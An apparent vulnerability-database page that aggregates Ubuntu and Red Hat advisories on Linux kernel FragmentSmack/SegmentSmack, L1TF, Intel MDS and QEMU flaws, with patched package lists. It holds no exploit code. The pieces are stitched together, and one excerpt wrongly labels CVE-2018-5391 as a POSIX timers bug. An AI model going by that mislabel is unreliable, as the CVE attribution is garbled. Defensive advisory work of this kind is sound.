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425 vulnerabilities found for pan-os by paloaltonetworks
VAR-201809-1153
Vulnerability from variot - Updated: 2026-03-09 23:25The Linux kernel, versions 3.9+, is vulnerable to a denial of service attack with low rates of specially modified packets targeting IP fragment re-assembly. An attacker may cause a denial of service condition by sending specially crafted IP fragments. Various vulnerabilities in IP fragmentation have been discovered and fixed over the years. The current vulnerability (CVE-2018-5391) became exploitable in the Linux kernel with the increase of the IP fragment reassembly queue size. Service disruption as a result (DoS) There is a possibility of being attacked. Linux Kernel is prone to a remote denial-of-service vulnerability. An attacker can exploit this issue to cause a denial-of-service condition. (BZ#1632422)
- Description:
The kernel-rt packages provide the Real Time Linux Kernel, which enables fine-tuning for systems with extremely high determinism requirements. ========================================================================== Ubuntu Security Notice USN-3742-3 August 21, 2018
linux-lts-trusty regressions
A security issue affects these releases of Ubuntu and its derivatives:
- Ubuntu 12.04 ESM
Summary:
USN-3742-2 introduced regressions in the Linux Hardware Enablement (HWE) kernel for Ubuntu 12.04 ESM.
Software Description: - linux-lts-trusty: Linux hardware enablement kernel from Trusty for Precise ESM
Details:
USN-3742-2 introduced mitigations in the Linux Hardware Enablement (HWE) kernel for Ubuntu 12.04 ESM to address L1 Terminal Fault (L1TF) vulnerabilities (CVE-2018-3620, CVE-2018-3646). Unfortunately, the update introduced regressions that caused kernel panics when booting in some environments as well as preventing Java applications from starting.
We apologize for the inconvenience.
Original advisory details:
It was discovered that memory present in the L1 data cache of an Intel CPU core may be exposed to a malicious process that is executing on the CPU core. This vulnerability is also known as L1 Terminal Fault (L1TF). A local attacker in a guest virtual machine could use this to expose sensitive information (memory from other guests or the host OS). (CVE-2018-3646)
It was discovered that memory present in the L1 data cache of an Intel CPU core may be exposed to a malicious process that is executing on the CPU core. This vulnerability is also known as L1 Terminal Fault (L1TF). A local attacker could use this to expose sensitive information (memory from the kernel or other processes). (CVE-2018-3620)
Andrey Konovalov discovered an out-of-bounds read in the POSIX timers subsystem in the Linux kernel. (CVE-2018-5391)
Update instructions:
The problem can be corrected by updating your system to the following package versions:
Ubuntu 12.04 ESM: linux-image-3.13.0-156-generic 3.13.0-156.206~precise1 linux-image-3.13.0-156-generic-lpae 3.13.0-156.206~precise1 linux-image-generic-lpae-lts-trusty 3.13.0.156.146 linux-image-generic-lts-trusty 3.13.0.156.146
After a standard system update you need to reboot your computer to make all the necessary changes.
ATTENTION: Due to an unavoidable ABI change the kernel updates have been given a new version number, which requires you to recompile and reinstall all third party kernel modules you might have installed. Unless you manually uninstalled the standard kernel metapackages (e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual, linux-powerpc), a standard system upgrade will automatically perform this as well. 7.5) - ppc64, ppc64le, x86_64
Bug Fix(es):
These updated kernel packages include also numerous bug fixes. Space precludes documenting all of the bug fixes in this advisory. See the descriptions in the related Knowledge Article: https://access.redhat.com/articles/3674801
- -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256
====================================================================
Red Hat Security Advisory
Synopsis: Important: kernel security and bug fix update Advisory ID: RHSA-2018:2924-01 Product: Red Hat Enterprise Linux Advisory URL: https://access.redhat.com/errata/RHSA-2018:2924 Issue date: 2018-10-16 CVE Names: CVE-2018-5390 CVE-2018-5391 CVE-2018-10675 CVE-2018-14634 ==================================================================== 1. Summary:
An update for kernel is now available for Red Hat Enterprise Linux 6.6 Advanced Update Support and Red Hat Enterprise Linux 6.6 Telco Extended Update Support.
Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.
- Relevant releases/architectures:
Red Hat Enterprise Linux Server AUS (v. 6.6) - noarch, x86_64 Red Hat Enterprise Linux Server Optional AUS (v. 6.6) - x86_64 Red Hat Enterprise Linux Server Optional TUS (v. 6.6) - x86_64 Red Hat Enterprise Linux Server TUS (v. 6.6) - noarch, x86_64
- Description:
The kernel packages contain the Linux kernel, the core of any Linux operating system.
Security Fix(es):
-
A flaw named SegmentSmack was found in the way the Linux kernel handled specially crafted TCP packets. A remote attacker could use this flaw to trigger time and calculation expensive calls to tcp_collapse_ofo_queue() and tcp_prune_ofo_queue() functions by sending specially modified packets within ongoing TCP sessions which could lead to a CPU saturation and hence a denial of service on the system. Maintaining the denial of service condition requires continuous two-way TCP sessions to a reachable open port, thus the attacks cannot be performed using spoofed IP addresses. (CVE-2018-5390)
-
A flaw named FragmentSmack was found in the way the Linux kernel handled reassembly of fragmented IPv4 and IPv6 packets. (CVE-2018-5391)
-
kernel: mm: use-after-free in do_get_mempolicy function allows local DoS or other unspecified impact (CVE-2018-10675)
-
kernel: Integer overflow in Linux's create_elf_tables function (CVE-2018-14634)
For more details about the security issue(s), including the impact, a CVSS score, and other related information, refer to the CVE page(s) listed in the References section.
Red Hat would like to thank Juha-Matti Tilli (Aalto University - Department of Communications and Networking and Nokia Bell Labs) for reporting CVE-2018-5390 and CVE-2018-5391 and Qualys Research Labs for reporting CVE-2018-14634.
Bug Fix(es):
-
After updating the system to prevent the L1 Terminal Fault (L1TF) vulnerability, only one thread was detected on systems that offer processing of two threads on a single processor core. With this update, the "__max_smt_threads()" function has been fixed. As a result, both threads are now detected correctly in the described situation. (BZ#1625334)
-
Previously, a kernel panic occurred when the kernel tried to make an out of bound access to the array that describes the L1 Terminal Fault (L1TF) mitigation state on systems without Extended Page Tables (EPT) support. This update extends the array of mitigation states to cover all the states, which effectively prevents out of bound array access. Also, this update enables rejecting invalid, irrelevant values, that might be erroneously provided by the userspace. As a result, the kernel no longer panics in the described scenario. (BZ#1629633)
-
Solution:
For details on how to apply this update, which includes the changes described in this advisory, refer to:
https://access.redhat.com/articles/11258
The system must be rebooted for this update to take effect.
- Bugs fixed (https://bugzilla.redhat.com/):
1575065 - CVE-2018-10675 kernel: mm: use-after-free in do_get_mempolicy function allows local DoS or other unspecified impact 1601704 - CVE-2018-5390 kernel: TCP segments with random offsets allow a remote denial of service (SegmentSmack) 1609664 - CVE-2018-5391 kernel: IP fragments with random offsets allow a remote denial of service (FragmentSmack) 1624498 - CVE-2018-14634 kernel: Integer overflow in Linux's create_elf_tables function
- Package List:
Red Hat Enterprise Linux Server AUS (v. 6.6):
Source: kernel-2.6.32-504.76.2.el6.src.rpm
noarch: kernel-abi-whitelists-2.6.32-504.76.2.el6.noarch.rpm kernel-doc-2.6.32-504.76.2.el6.noarch.rpm kernel-firmware-2.6.32-504.76.2.el6.noarch.rpm
x86_64: kernel-2.6.32-504.76.2.el6.x86_64.rpm kernel-debug-2.6.32-504.76.2.el6.x86_64.rpm kernel-debug-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm kernel-debug-devel-2.6.32-504.76.2.el6.x86_64.rpm kernel-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm kernel-debuginfo-common-x86_64-2.6.32-504.76.2.el6.x86_64.rpm kernel-devel-2.6.32-504.76.2.el6.x86_64.rpm kernel-headers-2.6.32-504.76.2.el6.x86_64.rpm perf-2.6.32-504.76.2.el6.x86_64.rpm perf-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm python-perf-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm
Red Hat Enterprise Linux Server TUS (v. 6.6):
Source: kernel-2.6.32-504.76.2.el6.src.rpm
noarch: kernel-abi-whitelists-2.6.32-504.76.2.el6.noarch.rpm kernel-doc-2.6.32-504.76.2.el6.noarch.rpm kernel-firmware-2.6.32-504.76.2.el6.noarch.rpm
x86_64: kernel-2.6.32-504.76.2.el6.x86_64.rpm kernel-debug-2.6.32-504.76.2.el6.x86_64.rpm kernel-debug-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm kernel-debug-devel-2.6.32-504.76.2.el6.x86_64.rpm kernel-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm kernel-debuginfo-common-x86_64-2.6.32-504.76.2.el6.x86_64.rpm kernel-devel-2.6.32-504.76.2.el6.x86_64.rpm kernel-headers-2.6.32-504.76.2.el6.x86_64.rpm perf-2.6.32-504.76.2.el6.x86_64.rpm perf-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm python-perf-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm
Red Hat Enterprise Linux Server Optional AUS (v. 6.6):
x86_64: kernel-debug-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm kernel-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm kernel-debuginfo-common-x86_64-2.6.32-504.76.2.el6.x86_64.rpm perf-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm python-perf-2.6.32-504.76.2.el6.x86_64.rpm python-perf-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm
Red Hat Enterprise Linux Server Optional TUS (v. 6.6):
x86_64: kernel-debug-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm kernel-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm kernel-debuginfo-common-x86_64-2.6.32-504.76.2.el6.x86_64.rpm perf-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm python-perf-2.6.32-504.76.2.el6.x86_64.rpm python-perf-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm
These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/
- References:
https://access.redhat.com/security/cve/CVE-2018-5390 https://access.redhat.com/security/cve/CVE-2018-5391 https://access.redhat.com/security/cve/CVE-2018-10675 https://access.redhat.com/security/cve/CVE-2018-14634 https://access.redhat.com/security/updates/classification/#important https://access.redhat.com/articles/3553061 https://access.redhat.com/security/vulnerabilities/mutagen-astronomy
- Contact:
The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/
Copyright 2018 Red Hat, Inc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1
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-- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce
Show details on source website{
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"description": {
"_id": null,
"data": "The Linux kernel, versions 3.9+, is vulnerable to a denial of service attack with low rates of specially modified packets targeting IP fragment re-assembly. An attacker may cause a denial of service condition by sending specially crafted IP fragments. Various vulnerabilities in IP fragmentation have been discovered and fixed over the years. The current vulnerability (CVE-2018-5391) became exploitable in the Linux kernel with the increase of the IP fragment reassembly queue size. Service disruption as a result (DoS) There is a possibility of being attacked. Linux Kernel is prone to a remote denial-of-service vulnerability. \nAn attacker can exploit this issue to cause a denial-of-service condition. \n(BZ#1632422)\n\n4. Description:\n\nThe kernel-rt packages provide the Real Time Linux Kernel, which enables\nfine-tuning for systems with extremely high determinism requirements. ==========================================================================\nUbuntu Security Notice USN-3742-3\nAugust 21, 2018\n\nlinux-lts-trusty regressions\n==========================================================================\n\nA security issue affects these releases of Ubuntu and its derivatives:\n\n- Ubuntu 12.04 ESM\n\nSummary:\n\nUSN-3742-2 introduced regressions in the Linux Hardware Enablement\n(HWE) kernel for Ubuntu 12.04 ESM. \n\nSoftware Description:\n- linux-lts-trusty: Linux hardware enablement kernel from Trusty for Precise ESM\n\nDetails:\n\nUSN-3742-2 introduced mitigations in the Linux Hardware Enablement\n(HWE) kernel for Ubuntu 12.04 ESM to address L1 Terminal Fault (L1TF)\nvulnerabilities (CVE-2018-3620, CVE-2018-3646). Unfortunately, the\nupdate introduced regressions that caused kernel panics when booting\nin some environments as well as preventing Java applications from\nstarting. \n\nWe apologize for the inconvenience. \n\nOriginal advisory details:\n\n It was discovered that memory present in the L1 data cache of an Intel CPU\n core may be exposed to a malicious process that is executing on the CPU\n core. This vulnerability is also known as L1 Terminal Fault (L1TF). A local\n attacker in a guest virtual machine could use this to expose sensitive\n information (memory from other guests or the host OS). (CVE-2018-3646)\n\n It was discovered that memory present in the L1 data cache of an Intel CPU\n core may be exposed to a malicious process that is executing on the CPU\n core. This vulnerability is also known as L1 Terminal Fault (L1TF). A local\n attacker could use this to expose sensitive information (memory from the\n kernel or other processes). (CVE-2018-3620)\n\n Andrey Konovalov discovered an out-of-bounds read in the POSIX\n timers subsystem in the Linux kernel. (CVE-2018-5391)\n\nUpdate instructions:\n\nThe problem can be corrected by updating your system to the following\npackage versions:\n\nUbuntu 12.04 ESM:\n linux-image-3.13.0-156-generic 3.13.0-156.206~precise1\n linux-image-3.13.0-156-generic-lpae 3.13.0-156.206~precise1\n linux-image-generic-lpae-lts-trusty 3.13.0.156.146\n linux-image-generic-lts-trusty 3.13.0.156.146\n\nAfter a standard system update you need to reboot your computer to make\nall the necessary changes. \n\nATTENTION: Due to an unavoidable ABI change the kernel updates have\nbeen given a new version number, which requires you to recompile and\nreinstall all third party kernel modules you might have installed. \nUnless you manually uninstalled the standard kernel metapackages\n(e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual,\nlinux-powerpc), a standard system upgrade will automatically perform\nthis as well. 7.5) - ppc64, ppc64le, x86_64\n\n3. \n\nBug Fix(es):\n\nThese updated kernel packages include also numerous bug fixes. Space\nprecludes documenting all of the bug fixes in this advisory. See the\ndescriptions in the related Knowledge Article:\nhttps://access.redhat.com/articles/3674801\n\n4. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\n==================================================================== \nRed Hat Security Advisory\n\nSynopsis: Important: kernel security and bug fix update\nAdvisory ID: RHSA-2018:2924-01\nProduct: Red Hat Enterprise Linux\nAdvisory URL: https://access.redhat.com/errata/RHSA-2018:2924\nIssue date: 2018-10-16\nCVE Names: CVE-2018-5390 CVE-2018-5391 CVE-2018-10675\n CVE-2018-14634\n====================================================================\n1. Summary:\n\nAn update for kernel is now available for Red Hat Enterprise Linux 6.6\nAdvanced Update Support and Red Hat Enterprise Linux 6.6 Telco Extended\nUpdate Support. \n\nRed Hat Product Security has rated this update as having a security impact\nof Important. A Common Vulnerability Scoring System (CVSS) base score,\nwhich gives a detailed severity rating, is available for each vulnerability\nfrom the CVE link(s) in the References section. \n\n2. Relevant releases/architectures:\n\nRed Hat Enterprise Linux Server AUS (v. 6.6) - noarch, x86_64\nRed Hat Enterprise Linux Server Optional AUS (v. 6.6) - x86_64\nRed Hat Enterprise Linux Server Optional TUS (v. 6.6) - x86_64\nRed Hat Enterprise Linux Server TUS (v. 6.6) - noarch, x86_64\n\n3. Description:\n\nThe kernel packages contain the Linux kernel, the core of any Linux\noperating system. \n\nSecurity Fix(es):\n\n* A flaw named SegmentSmack was found in the way the Linux kernel handled\nspecially crafted TCP packets. A remote attacker could use this flaw to\ntrigger time and calculation expensive calls to tcp_collapse_ofo_queue()\nand tcp_prune_ofo_queue() functions by sending specially modified packets\nwithin ongoing TCP sessions which could lead to a CPU saturation and hence\na denial of service on the system. Maintaining the denial of service\ncondition requires continuous two-way TCP sessions to a reachable open\nport, thus the attacks cannot be performed using spoofed IP addresses. \n(CVE-2018-5390)\n\n* A flaw named FragmentSmack was found in the way the Linux kernel handled\nreassembly of fragmented IPv4 and IPv6 packets. (CVE-2018-5391)\n\n* kernel: mm: use-after-free in do_get_mempolicy function allows local DoS\nor other unspecified impact (CVE-2018-10675)\n\n* kernel: Integer overflow in Linux\u0027s create_elf_tables function\n(CVE-2018-14634)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, and other related information, refer to the CVE page(s) listed in\nthe References section. \n\nRed Hat would like to thank Juha-Matti Tilli (Aalto University - Department\nof Communications and Networking and Nokia Bell Labs) for reporting\nCVE-2018-5390 and CVE-2018-5391 and Qualys Research Labs for reporting\nCVE-2018-14634. \n\nBug Fix(es):\n\n* After updating the system to prevent the L1 Terminal Fault (L1TF)\nvulnerability, only one thread was detected on systems that offer\nprocessing of two threads on a single processor core. With this update, the\n\"__max_smt_threads()\" function has been fixed. As a result, both threads\nare now detected correctly in the described situation. (BZ#1625334)\n\n* Previously, a kernel panic occurred when the kernel tried to make an out\nof bound access to the array that describes the L1 Terminal Fault (L1TF)\nmitigation state on systems without Extended Page Tables (EPT) support. \nThis update extends the array of mitigation states to cover all the states,\nwhich effectively prevents out of bound array access. Also, this update\nenables rejecting invalid, irrelevant values, that might be erroneously\nprovided by the userspace. As a result, the kernel no longer panics in the\ndescribed scenario. (BZ#1629633)\n\n4. Solution:\n\nFor details on how to apply this update, which includes the changes\ndescribed in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258\n\nThe system must be rebooted for this update to take effect. \n\n5. Bugs fixed (https://bugzilla.redhat.com/):\n\n1575065 - CVE-2018-10675 kernel: mm: use-after-free in do_get_mempolicy function allows local DoS or other unspecified impact\n1601704 - CVE-2018-5390 kernel: TCP segments with random offsets allow a remote denial of service (SegmentSmack)\n1609664 - CVE-2018-5391 kernel: IP fragments with random offsets allow a remote denial of service (FragmentSmack)\n1624498 - CVE-2018-14634 kernel: Integer overflow in Linux\u0027s create_elf_tables function\n\n6. Package List:\n\nRed Hat Enterprise Linux Server AUS (v. 6.6):\n\nSource:\nkernel-2.6.32-504.76.2.el6.src.rpm\n\nnoarch:\nkernel-abi-whitelists-2.6.32-504.76.2.el6.noarch.rpm\nkernel-doc-2.6.32-504.76.2.el6.noarch.rpm\nkernel-firmware-2.6.32-504.76.2.el6.noarch.rpm\n\nx86_64:\nkernel-2.6.32-504.76.2.el6.x86_64.rpm\nkernel-debug-2.6.32-504.76.2.el6.x86_64.rpm\nkernel-debug-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm\nkernel-debug-devel-2.6.32-504.76.2.el6.x86_64.rpm\nkernel-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm\nkernel-debuginfo-common-x86_64-2.6.32-504.76.2.el6.x86_64.rpm\nkernel-devel-2.6.32-504.76.2.el6.x86_64.rpm\nkernel-headers-2.6.32-504.76.2.el6.x86_64.rpm\nperf-2.6.32-504.76.2.el6.x86_64.rpm\nperf-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm\npython-perf-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm\n\nRed Hat Enterprise Linux Server TUS (v. 6.6):\n\nSource:\nkernel-2.6.32-504.76.2.el6.src.rpm\n\nnoarch:\nkernel-abi-whitelists-2.6.32-504.76.2.el6.noarch.rpm\nkernel-doc-2.6.32-504.76.2.el6.noarch.rpm\nkernel-firmware-2.6.32-504.76.2.el6.noarch.rpm\n\nx86_64:\nkernel-2.6.32-504.76.2.el6.x86_64.rpm\nkernel-debug-2.6.32-504.76.2.el6.x86_64.rpm\nkernel-debug-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm\nkernel-debug-devel-2.6.32-504.76.2.el6.x86_64.rpm\nkernel-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm\nkernel-debuginfo-common-x86_64-2.6.32-504.76.2.el6.x86_64.rpm\nkernel-devel-2.6.32-504.76.2.el6.x86_64.rpm\nkernel-headers-2.6.32-504.76.2.el6.x86_64.rpm\nperf-2.6.32-504.76.2.el6.x86_64.rpm\nperf-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm\npython-perf-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm\n\nRed Hat Enterprise Linux Server Optional AUS (v. 6.6):\n\nx86_64:\nkernel-debug-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm\nkernel-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm\nkernel-debuginfo-common-x86_64-2.6.32-504.76.2.el6.x86_64.rpm\nperf-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm\npython-perf-2.6.32-504.76.2.el6.x86_64.rpm\npython-perf-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm\n\nRed Hat Enterprise Linux Server Optional TUS (v. 6.6):\n\nx86_64:\nkernel-debug-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm\nkernel-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm\nkernel-debuginfo-common-x86_64-2.6.32-504.76.2.el6.x86_64.rpm\nperf-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm\npython-perf-2.6.32-504.76.2.el6.x86_64.rpm\npython-perf-debuginfo-2.6.32-504.76.2.el6.x86_64.rpm\n\nThese packages are GPG signed by Red Hat for security. Our key and\ndetails on how to verify the signature are available from\nhttps://access.redhat.com/security/team/key/\n\n7. References:\n\nhttps://access.redhat.com/security/cve/CVE-2018-5390\nhttps://access.redhat.com/security/cve/CVE-2018-5391\nhttps://access.redhat.com/security/cve/CVE-2018-10675\nhttps://access.redhat.com/security/cve/CVE-2018-14634\nhttps://access.redhat.com/security/updates/classification/#important\nhttps://access.redhat.com/articles/3553061\nhttps://access.redhat.com/security/vulnerabilities/mutagen-astronomy\n\n8. Contact:\n\nThe Red Hat security contact is \u003csecalert@redhat.com\u003e. More contact\ndetails at https://access.redhat.com/security/team/contact/\n\nCopyright 2018 Red Hat, Inc. \n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIVAwUBW8X6otzjgjWX9erEAQj5OQ/+O0GjLYqyc0dlDxIBFWYXEGkMxGpwpgR1\nHpF5FKVo32x78i8M/mQXTEtnwJxfGH+ABkYUPmiJxfyhKuuNptNEg/rD02HRjuC5\nGmZG8CEloGu8NGPu3CEEPrRpK2sqVf2F+KqM9MKjMr+++8DxwXy8eSOSDRI/yJyI\n/xQhUPPx7g+ZZuoXs5Fh6ckfuDIFwn3gT6tqmet59WcL5L1phr1grDyeP6NbrLLY\nUFEAbjs9x6TDnwbUM5DnDflBENhJElamSgClObp0UOa31FCI1okO8rW1qCL/HYhY\nz2avZB31qCwtCM/5nCg104+xKO3Bqz3QcCtkL4m7gRWmPvATpOUweI9ptYW69iwF\n2Bmr+25h2yVLvfAhqVvCGnRqAdPoSBYoasZR94oF9ctjOu66uWdT7h12oiPlFEFh\noZXfozGdb+HdX18/If/2vzPskuZ/EGwbOJn3IHSmuru2oIBHrIHZ5X3ke6gtHeIN\nPby2IS10QpCng48r+278ifFkPyG0Y1XmalapBHPadpWy3htPQEr9YmGehEGiyKMz\nhgD8rss/D7HTS/o+FGE8sE9yjEWpCbUcPWu5u7Rw8chAut8GHVHAvCRgCcUK5puo\nrmse06Ba+bjUh3OucXsHmsk8VQ+STC4xt1cTbnDTd1xELrH8J+qv8fGV84sdEAaj\nK3wXCIrtY5U=osL7\n-----END PGP SIGNATURE-----\n\n--\nRHSA-announce mailing list\nRHSA-announce@redhat.com\nhttps://www.redhat.com/mailman/listinfo/rhsa-announce\n",
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VAR-201905-0710
Vulnerability from variot - Updated: 2026-03-09 22:44Microarchitectural Load Port Data Sampling (MLPDS): Load ports on some microprocessors utilizing speculative execution may allow an authenticated user to potentially enable information disclosure via a side channel with local access. A list of impacted products can be found here: https://www.intel.com/content/dam/www/public/us/en/documents/corporate-information/SA00233-microcode-update-guidance_05132019.pdf. Intel Xeon Scalable Processors are all products of Intel Corporation of the United States. Intel Xeon Scalable Processors are a scalable server central processing unit (CPU). Intel Xeon Processor E7 v4 Family is a Xeon E7 series server central processing unit (CPU). Intel Xeon Processor E5 v4 Family is a Xeon E5 series server central processing unit (CPU). Information disclosure vulnerabilities exist in several Intel products. This vulnerability stems from configuration errors in network systems or products during operation. The following products and versions are affected: Intel Xeon Scalable Processors; Xeon Processor E7 v4 Family; Xeon Processor E5 v4 Family; Xeon Processor E3 v6 Family; Xeon Processor E3 v4 Family; Xeon Processor E; Xeon E Processor; Xeon D Processor; Puma; Pentium Processor Silver Series; Pentium Processor N Series; Pentium Processor J Series; Pentium Gold Processor Series; Mobile Communications Platforms; Microcode; Core X series Processors; Celeron Processor N Series; Celeron Processor J Series; Celeron Processor G Series; Atom Processor X Series ;Atom Processor E3900 Series;Atom Processor E3800 Series;Atom Processor. The vulnerability is due to improper memory operations that could expose a side channel on the affected system. A successful exploit could be used to conduct further attacks. Proof-of-concept (PoC) code that demonstrates an exploit of this vulnerability is publicly available. Intel has confirmed the vulnerability and released software updates. VDSM manages and monitors the host's storage, memory and networks as well as virtual machine creation, other host administration tasks, statistics gathering, and log collection. (CVE-2019-11091)
-
QEMU: device_tree: heap buffer overflow while loading device tree blob (CVE-2018-20815)
-
QEMU: rtl8139: integer overflow leads to buffer overflow (CVE-2018-17958)
-
QEMU: net: ignore packets with large size (CVE-2018-17963)
-
QEMU: scsi-generic: possible OOB access while handling inquiry request (CVE-2019-6501)
-
QEMU: slirp: information leakage in tcp_emu() due to uninitialized stack variables (CVE-2019-9824)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
Additional Changes:
This update also fixes several bugs and adds various enhancements. Documentation for these changes is available from the Release Notes document linked to in the References section. Bugs fixed (https://bugzilla.redhat.com/):
1508708 - [data plane] Qemu-kvm core dumped when doing block-stream and block-job-cancel to a data disk with data-plane enabled 1526313 - Improve QEMU lock error info for hot-plugging same qcow2 image file twice in different target to VM 1531888 - Local VM and migrated VM on the same host can run with same RAW file as visual disk source while without shareable configured or lock manager enabled 1551486 - QEMU image locking needn't double open fd number (i.e. drop file-posix.c:s->lock_fd) 1585155 - QEMU core dumped when hotplug memory exceeding host hugepages and with discard-data=yes 1597482 - qemu crashed when disk enable the IOMMU 1598119 - "share-rw=on" does not work for luks format image 1603104 - Qemu Aborted (core dumped) for 'qemu-kvm: Failed to lock byte 100' when remote NFS or GlusterFS volume stopped during the block mirror(or block commit/stream) process 1607768 - qemu aborted when start guest with a big iothreads 1608226 - [virtual-network][mq] prompt warning "qemu-kvm: unable to start vhost net: 14: falling back on userspace virtio" when boot with win8+ guests with multi-queue 1610461 - High Host CPU load for Windows 10 Guests (Update 1803) when idle 1614302 - qemu-kvm: Could not find keytab file: /etc/qemu/krb5.tab: No such file or directory 1614610 - Guest quit with error when hotunplug cpu 1619778 - Ballooning is incompatible with vfio assigned devices, but not prevented 1620373 - Failed to do migration after hotplug and hotunplug the ivshmem device 1623986 - block-commit can't be used with -blockdev 1624009 - allow backing of pflash via -blockdev 1627272 - boot guest with q35+vIOMMU+ device assignment, qemu crash when return assigned network devices from vfio driver to ixgbe in guest 1628098 - [Intel 7.7 BUG][KVM][Crystal Ridge]object_get_canonical_path_component: assertion failed: (obj->parent != NULL) 1629056 - qemu NBD server failure with block status of dirty bitmaps 1629717 - qemu_ram_mmap: Assertion `is_power_of_2(align)' failed 1629720 - [Intel 7.6 BUG][Crystal Ridge] pc_dimm_get_free_addr: assertion failed: (QEMU_ALIGN_UP(address_space_start, align) == address_space_start) 1631052 - x-block-dirty-bitmap-merge into a disabled bitmap dest causes assert 1631227 - Qemu Core dump when quit vm that's in status "paused(io-error)" with data plane enabled 1631615 - Wrong werror default for -device drive= 1631877 - qemu dirty bitmap merge fails to update count 1633150 - Cross migration from RHEL7.5 to RHEL7.6 fails with cpu flag stibp 1633536 - Qemu core dump when do migration after hot plugging a backend image with 'blockdev-add'(without the frontend) 1636712 - CVE-2018-17958 QEMU: rtl8139: integer overflow leads to buffer overflow 1636777 - CVE-2018-17963 QEMU: net: ignore packets with large size 1642551 - qemu-kvm-tools-rhev depends on libxkbcommon, but the RPM-level dependency is missing 1646781 - CVE-2018-12126 hardware: Microarchitectural Store Buffer Data Sampling (MSBDS) 1646784 - CVE-2018-12130 hardware: Microarchitectural Fill Buffer Data Sampling (MFBDS) 1648236 - QEMU doesn't expose rendernode option for egl-headless display type 1656913 - qcow2 cache is too small 1666336 - severe performance impact using encrypted Cinder volume (QEMU luks) 1666884 - persistent bitmaps prevent qcow2 image resize 1667320 - -blockdev: auto-read-only is ineffective for drivers on read-only whitelist 1667782 - CVE-2018-12127 hardware: Micro-architectural Load Port Data Sampling - Information Leak (MLPDS) 1668160 - CVE-2019-6501 QEMU: scsi-generic: possible OOB access while handling inquiry request 1668956 - incremental backup bitmap API needs a finalized interface 1672010 - [RHEL7]Qemu coredump when remove a persistent bitmap after vm re-start(dataplane enabled) 1673080 - "An unknown error has occurred" when using cdrom to install the system with two blockdev disks.(when choose installation destination) 1673397 - [RHEL.7] qemu-kvm core dumped after hotplug the deleted disk with iothread parameter 1673402 - Qemu core dump when start guest with two disks using same drive 1676728 - RHEL77: Run iotests as part of build process 1677073 - Backport additional QEMU 4.0 Bitmap API changes to RHEL 7.7 1678515 - CVE-2019-9824 QEMU: slirp: information leakage in tcp_emu() due to uninitialized stack variables 1685989 - Add facility to use block jobs with backing images without write permission 1691009 - NBD pull mode incremental backup API needs a finalized interface 1691018 - Fix iotest 226 for local development builds 1691048 - Add qemu-img info support for querying bitmaps offline 1691563 - QEMU NBD Feature parity roundup (QEMU 3.1.0) 1692018 - qemu-img: Protocol error: simple reply when structured reply chunk was expected 1693101 - CVE-2018-20815 QEMU: device_tree: heap buffer overflow while loading device tree blob 1703916 - Qemu core dump when quit vm after forbidden to do backup with a read-only bitmap 1705312 - CVE-2019-11091 hardware: Microarchitectural Data Sampling Uncacheable Memory (MDSUM) 1714160 - Guest with 'reservations' for a disk start failed
- (CVE-2018-12126)
Vasily Averin and Evgenii Shatokhin discovered that a use-after-free vulnerability existed in the NFS41+ subsystem when multiple network namespaces are in use.
Software Description: - intel-microcode: Processor microcode for Intel CPUs
Details:
USN-3977-1 and USN-3977-2 provided mitigations for Microarchitectural Data Sampling (MDS) vulnerabilities in Intel Microcode for a large number of Intel processor families. Relevant releases/architectures:
RHV-M 4.2 - noarch
- It includes the configuration of the Red Hat Support plugin, copying downstream-only artifacts to the ISO domain, and links to the knowledgebase and other support material. ========================================================================== Ubuntu Security Notice USN-3979-1 May 14, 2019
linux, linux-aws, linux-azure, linux-gcp, linux-kvm, linux-raspi2 vulnerabilities
A security issue affects these releases of Ubuntu and its derivatives:
- Ubuntu 19.04
Summary:
Several security issues were fixed in the Linux kernel.
Software Description: - linux: Linux kernel - linux-aws: Linux kernel for Amazon Web Services (AWS) systems - linux-azure: Linux kernel for Microsoft Azure Cloud systems - linux-gcp: Linux kernel for Google Cloud Platform (GCP) systems - linux-kvm: Linux kernel for cloud environments - linux-raspi2: Linux kernel for Raspberry Pi 2
